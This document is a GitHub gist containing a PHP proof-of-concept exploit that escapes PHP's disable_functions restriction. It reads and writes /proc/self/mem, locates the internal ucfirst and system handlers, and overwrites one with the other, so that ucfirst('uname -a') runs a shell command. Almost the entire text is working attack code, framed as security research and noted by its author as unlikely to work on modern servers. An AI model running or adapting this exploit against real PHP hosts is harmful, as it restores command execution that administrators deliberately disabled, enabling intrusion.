Last active
January 20, 2021 15:14
-
-
Save X-C3LL/f961c4b9211f4f4c0c5dadcad9c76abf to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
If open_basedir is misconfigured it is posible to read and write /proc/self/mem. This means that a PHP script can self-patch | |
itself to bypass disable_functions and call system() or other dangerous functions. This technique is old, indeed you can find | |
a PoC by Beched (https://github.com/beched/php_disable_functions_bypass) where the open@plt address is replaced by the system@plt | |
address (the info is extraced parsing the PHP and libc binary). | |
My approach is similar in the sense of taking the advantage of /usr/proc/mem, but to achieve the bypass I overwrite the handler | |
of an arbitrary PHP function (that has a string as parameter) inside the function_table. The handlers are extracted parsing the | |
basic_functions structure. This PoC was tested on a PHP-CLI (php -d 'disable_functions=system' bypass.php). | |
If you find usefull this script, or wanna comment something, feel free to ping me at twitter (@TheXC3LL) | |
Important: This should NOT work on modern webservers (/proc/self/mem is unaccesible). | |
*/ | |
function memmaps() { | |
print "[+] Parsing mapped memory regions:\n"; | |
$targets = Array(); | |
$raw_map = explode(PHP_EOL,file_get_contents("/proc/self/maps")); | |
foreach ($raw_map as $line) { | |
if (substr($line,-4) == "/php") { | |
if (strpos($line, "r-xp") !== false) { | |
$range = explode(" ", $line); | |
$split_range = explode("-", $range[0]); | |
$targets["bin_start"] = hexdec($split_range[0]); | |
$targets["bin_end"] = hexdec($split_range[1]); | |
} | |
} | |
if (substr($line, -6) == "[heap]") { | |
$range = explode(" ", $line); | |
$split_range = explode("-", $range[0]); | |
$targets["heap_start"] = hexdec($split_range[0]); | |
$targets["heap_end"] = hexdec($split_range[1]); | |
} | |
} | |
print "\t[-] Binary: 0x" . dechex($targets["bin_start"]) . "-0x" . dechex($targets["bin_end"]) . "\n"; | |
print "\t[-] Heap: 0x" . dechex($targets["heap_start"]) . "-0x" . dechex($targets["heap_end"]) . "\n"; | |
return $targets; | |
} | |
function getdata($fd, $address, $size) { | |
fseek($fd, $address); | |
$data = fread($fd, $size); | |
return $data; | |
} | |
function trans1($value) { | |
return hexdec(bin2hex(strrev($value))); | |
} | |
function trans2($value) { | |
return strrev(hex2bin(dechex($value))); | |
} | |
function parse_elf($base) { // https://wiki.osdev.org/ELF_Tutorial | |
$parsed = Array(); | |
$fd = fopen("/proc/self/mem", "rb"); | |
$parsed["type"] = getdata($fd, $base + 0x10, 1); | |
$parsed["phoff"] = getdata($fd, $base + 0x20, 8); | |
$parsed["phentsize"] = getdata($fd, $base + 0x36, 2); | |
$parsed["phnum"] = getdata($fd, $base + 0x38, 2); | |
for ($i = 0; $i < trans1($parsed["phnum"]); $i++) { | |
$header = $base + trans1($parsed["phoff"]) + $i * trans1($parsed["phentsize"]); | |
$parsed["ptype"] = getdata($fd, $header, 4); | |
$parsed["pflags"] = getdata($fd, $header + 0x4, 4); | |
$parsed["pvaddr"] = getdata($fd, $header + 0x10, 8); | |
$parsed["pmemsz"] = getdata($fd, $header + 0x28, 8); | |
if (trans1($parsed["ptype"]) == 1 && trans1($parsed["pflags"]) == 6) { | |
$parsed["data_addr"] = trans1($parsed["type"]) == 2 ? trans1($parsed["pvaddr"]) : $base + trans1($parsed["pvaddr"]); | |
$parsed["data_size"] = trans1($parsed["pmemsz"]); | |
} else if (trans1($parsed["ptype"]) == 1 && trans1($parsed["pflags"]) == 5) { | |
$parsed["text_size"] = trans1($parsed["pmemsz"]); | |
} | |
} | |
return $parsed; | |
} | |
function get_handlers($base, $data_addr, $text_size, $data_size) { | |
print "[+] Searching for handlers in basic_functions:\n"; | |
$handlers = Array(); | |
$fd = fopen("/proc/self/mem", "rb"); | |
for($i = 0; $i < $data_size / 8; $i++) { | |
$test = trans1(getdata($fd, $data_addr + $i * 0x8, 8)); | |
if ($test - $base > 0 && $test - $base < $data_addr - $base) { | |
$fname = getdata($fd, $test, 8); | |
if (trans1($fname) == 0x74737269666375) { // ucfirst() | |
$handlers["ucfirst"] = trans1(getdata($fd, $data_addr + $i * 0x8 + 8, 8)); | |
print "\t[-] zif_ucfirst found at 0x" . dechex($handlers["ucfirst"]) . "\n"; | |
continue; | |
} else if (trans1($fname) == 0x6873657061637365) { | |
$handlers["system"] = trans1(getdata($fd, $data_addr + $i * 0x8 + 8 - 0x20, 8)); | |
print "\t[-] zif_system found at 0x" . dechex($handlers["system"]) . "\n"; | |
return $handlers; | |
} | |
} | |
} | |
} | |
function scan_and_patch($base, $final, $old, $new) { | |
print "[+] Scanning the heap to locate the function_table\n"; | |
$fd = fopen("/proc/self/mem", "r+b"); | |
for ($i = 0; $i < ($final - $base) / 8; $i++) { | |
$test = trans1(getdata($fd, $base + $i * 0x8, 8)); | |
if ($test == $old) { | |
print "\t[-] zif_ucfirst referenced at 0x" . dechex($base + $i * 0x8) ."\n"; | |
fseek($fd, $base + $i * 0x8); | |
print "[+] Patching ucfirst() with zif_system handler\n"; | |
fwrite($fd,trans2($new)); | |
return; | |
} | |
} | |
} | |
print "\t\t-=[ Bypassing disable_functions when open_basedir is misconfigured (PoC by @TheXC3LL) ]=-\n\n"; | |
$vmmap = memmaps(); | |
$elf = parse_elf($vmmap["bin_start"]); | |
$handlers = get_handlers($vmmap["bin_start"], $elf["data_addr"], $elf["data_size"], $elf["text_size"]); | |
scan_and_patch($vmmap["heap_start"], $vmmap["heap_end"], $handlers["ucfirst"], $handlers["system"]); | |
print "[+] Calling ucfirst('uname -a')...\n\n"; | |
//Kaboom! | |
ucfirst("uname -a"); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment